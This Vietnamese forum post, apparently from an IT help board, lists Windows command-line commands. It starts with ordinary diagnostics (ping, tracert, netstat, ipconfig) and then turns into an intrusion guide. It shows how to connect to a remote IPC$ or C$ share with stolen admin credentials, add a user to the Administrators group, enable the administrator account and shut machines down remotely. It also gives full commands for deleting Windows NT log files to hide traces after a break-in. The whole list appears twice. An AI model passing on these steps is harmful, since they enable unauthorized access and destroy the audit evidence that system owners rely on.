Các lệnh DOS dùng cho it Mang
Trang 1 trong tổng số 1 trang
Các lệnh DOS dùng cho it Mang
Một số lệnh cơ bản trong doss
Vào Start=>Run, gõ CMD, ấn ENTER. Để khởi động Command Promt
1. Lệnh Ping : Cú pháp: Code: ping ip/host [/t][/a][/l][/n]
-ip: địa chỉ IP của máy cần kiểm tra; host là tên của máy tính cần kiểm tra. Người ta có thể sử dụng địa chỉ IP hoặc tên của máy tính.
- Tham số /t: Sử dụng tham số này để máy tính liên tục "ping" đến máy tính đích, cho đến khi bạn bấm Ctrl + C
- Tham số /a: Nhận địa chỉ IP từ tên host
- Tham số /l : Xác định độ rộng của gói tin gửi đi kiểm tra.
2. Lệnh Tracert : Cú pháp : Code: tracert ip/host
- Công dụng : Lệnh này sẽ cho phép bạn "nhìn thấy" đường đi của các gói tin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng qua các server nào, các router nào... Quá hay nếu bạn muốn thăm dò một server nào đó.
3. Lệnh Netstat : Cú pháp: Code: Netstat [/a][/e][/n]
- Tham số /a: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening)
- Tham số /e: hiển thị các thông tin thống kê Ethernet
- Tham số /n: Hiển thị các địa chỉ và các số cổng kết nối... Ngoải ra còn một vài tham số khác
- Hãy gõ Netstat/? để biết thêm Công dụng : Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta.
4. Lệnh IPCONFIG : Cú pháp: Code: ipconfig /all
- Công dụng: Lệnh này sẽ cho phép hiển thị cấu hình IP của máy tính bạn đang sử dụng, như tên host, địa chỉ IP, mặt nạ mạng...
5. Lệnh Net Use : Cú pháp: Code: Net use \\ip\ipc$ "pass" /user:"***"
- ip: địa chỉ IP của admin. - ***: user của máy admin
- pass: password của user Giả sử ta có đc user và pass của admin có IP là 192.168.1.10 trên net thì ta đã có thể kết nối đến máy tính đó rùi đấy! Ví dụ: user: admin ; pass :12345 . Ta dùng lệnh sau: Code: Net use \\192.168.1.10\ipc$ "12345" /user:"admin" Công dụng: + kết nói một IPC$ đến máy tính admin (bắt đầu quá trình xâm nhập).
6. Lệnh Net User : Cú pháp: Code: Net User [username pass] [/add]
- Username : tên user cần add
- pass : password của user cần add
- Khi đã add đc user vào rùi thì ta tiến hành add user này vào nhóm administrator. Code: Net Localgroup Adminstrator [username] [/add]
- Công dụng: Nếu ta chỉ đánh lệnh Net User thì sẽ hiển thị các user có trong máy tính.
- Nếu ta đánh lệnh Net User [username pass] [/add] thì máy tính sẽ tiến hành thêm một người dùng vào.
Ví dụ: ta tiến hành add thêm một user có tên là u1 , password là :123 vào với cấu trúc lệnh như sau: Code: Net User u1 123 /add Sau đó add user u1 vào nhóm adminnistrator Code: Net Localgroup Administrator u1 /add
7. Lệnh Shutdown: Cú pháp: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d up x:yy] (áp dụng cho win XP)
- Tham số -m\\ip : ra lệnh cho một máy tính từ xa thực hiên các lệnh shutdown, restart,..
- Tham số -t xx : đặt thời gian cho việc thực hiện lệnh shutdown.
- Tham số -l : logg off (lưu ý ko thể thực hiện khi remote)
- Tham số -s : shutdown
- Tham số -r : shutdown và restart
- Tham số -a : không cho shutdown
- Tham số -f : shutdown mà ko cảnh báo
- Tham số -c "comment" : lời cảnh báo trước khi shutdown
8. Lệnh DIR : Cú pháp: Code: DIR [drive:][path][filename] Công dụng: + Để xem file, folder.
9. Lệnh DEL : Cú pháp: Code: DEL [drive:][path][filename]. Công dụng: Xóa một file, thông thường sau khi xâm nhập vào hệ thống, ta phái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.
- Sau đây là những files nhật ký của Win NT: Code: del C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log
10. Lệnh tạo ổ đĩa ảo trên computer: Cú pháp: Code: Net use z: \\ip\C$ ( hoặc là IPC$ )
11. kich hoạt user administrator: net user administrator /active:yes
12. Xoa các kết nối hien hanh: net use * /delete
Vào Start=>Run, gõ CMD, ấn ENTER. Để khởi động Command Promt
1. Lệnh Ping : Cú pháp: Code: ping ip/host [/t][/a][/l][/n]
-ip: địa chỉ IP của máy cần kiểm tra; host là tên của máy tính cần kiểm tra. Người ta có thể sử dụng địa chỉ IP hoặc tên của máy tính.
- Tham số /t: Sử dụng tham số này để máy tính liên tục "ping" đến máy tính đích, cho đến khi bạn bấm Ctrl + C
- Tham số /a: Nhận địa chỉ IP từ tên host
- Tham số /l : Xác định độ rộng của gói tin gửi đi kiểm tra.
2. Lệnh Tracert : Cú pháp : Code: tracert ip/host
- Công dụng : Lệnh này sẽ cho phép bạn "nhìn thấy" đường đi của các gói tin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng qua các server nào, các router nào... Quá hay nếu bạn muốn thăm dò một server nào đó.
3. Lệnh Netstat : Cú pháp: Code: Netstat [/a][/e][/n]
- Tham số /a: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening)
- Tham số /e: hiển thị các thông tin thống kê Ethernet
- Tham số /n: Hiển thị các địa chỉ và các số cổng kết nối... Ngoải ra còn một vài tham số khác
- Hãy gõ Netstat/? để biết thêm Công dụng : Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta.
4. Lệnh IPCONFIG : Cú pháp: Code: ipconfig /all
- Công dụng: Lệnh này sẽ cho phép hiển thị cấu hình IP của máy tính bạn đang sử dụng, như tên host, địa chỉ IP, mặt nạ mạng...
5. Lệnh Net Use : Cú pháp: Code: Net use \\ip\ipc$ "pass" /user:"***"
- ip: địa chỉ IP của admin. - ***: user của máy admin
- pass: password của user Giả sử ta có đc user và pass của admin có IP là 192.168.1.10 trên net thì ta đã có thể kết nối đến máy tính đó rùi đấy! Ví dụ: user: admin ; pass :12345 . Ta dùng lệnh sau: Code: Net use \\192.168.1.10\ipc$ "12345" /user:"admin" Công dụng: + kết nói một IPC$ đến máy tính admin (bắt đầu quá trình xâm nhập).
6. Lệnh Net User : Cú pháp: Code: Net User [username pass] [/add]
- Username : tên user cần add
- pass : password của user cần add
- Khi đã add đc user vào rùi thì ta tiến hành add user này vào nhóm administrator. Code: Net Localgroup Adminstrator [username] [/add]
- Công dụng: Nếu ta chỉ đánh lệnh Net User thì sẽ hiển thị các user có trong máy tính.
- Nếu ta đánh lệnh Net User [username pass] [/add] thì máy tính sẽ tiến hành thêm một người dùng vào.
Ví dụ: ta tiến hành add thêm một user có tên là u1 , password là :123 vào với cấu trúc lệnh như sau: Code: Net User u1 123 /add Sau đó add user u1 vào nhóm adminnistrator Code: Net Localgroup Administrator u1 /add
7. Lệnh Shutdown: Cú pháp: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d up x:yy] (áp dụng cho win XP)
- Tham số -m\\ip : ra lệnh cho một máy tính từ xa thực hiên các lệnh shutdown, restart,..
- Tham số -t xx : đặt thời gian cho việc thực hiện lệnh shutdown.
- Tham số -l : logg off (lưu ý ko thể thực hiện khi remote)
- Tham số -s : shutdown
- Tham số -r : shutdown và restart
- Tham số -a : không cho shutdown
- Tham số -f : shutdown mà ko cảnh báo
- Tham số -c "comment" : lời cảnh báo trước khi shutdown
8. Lệnh DIR : Cú pháp: Code: DIR [drive:][path][filename] Công dụng: + Để xem file, folder.
9. Lệnh DEL : Cú pháp: Code: DEL [drive:][path][filename]. Công dụng: Xóa một file, thông thường sau khi xâm nhập vào hệ thống, ta phái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.
- Sau đây là những files nhật ký của Win NT: Code: del C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log
10. Lệnh tạo ổ đĩa ảo trên computer: Cú pháp: Code: Net use z: \\ip\C$ ( hoặc là IPC$ )
11. kich hoạt user administrator: net user administrator /active:yes
12. Xoa các kết nối hien hanh: net use * /delete
LONGBAOCOMPUTER- Tổng số bài gửi : 58
Join date : 19/03/2012
Similar topics
» Một số lệnh hửu dụng trong CMD
» WinLock Remote Administrator, các giải pháp bảo mật mạng cho các mạng Windows
» fix lỗi không vào mạng
» Tạo thư mục và quản lý dùng chung
» Các lênh hữu ích trong dos
» WinLock Remote Administrator, các giải pháp bảo mật mạng cho các mạng Windows
» fix lỗi không vào mạng
» Tạo thư mục và quản lý dùng chung
» Các lênh hữu ích trong dos
Trang 1 trong tổng số 1 trang
Permissions in this forum:
Bạn không có quyền trả lời bài viết
|
|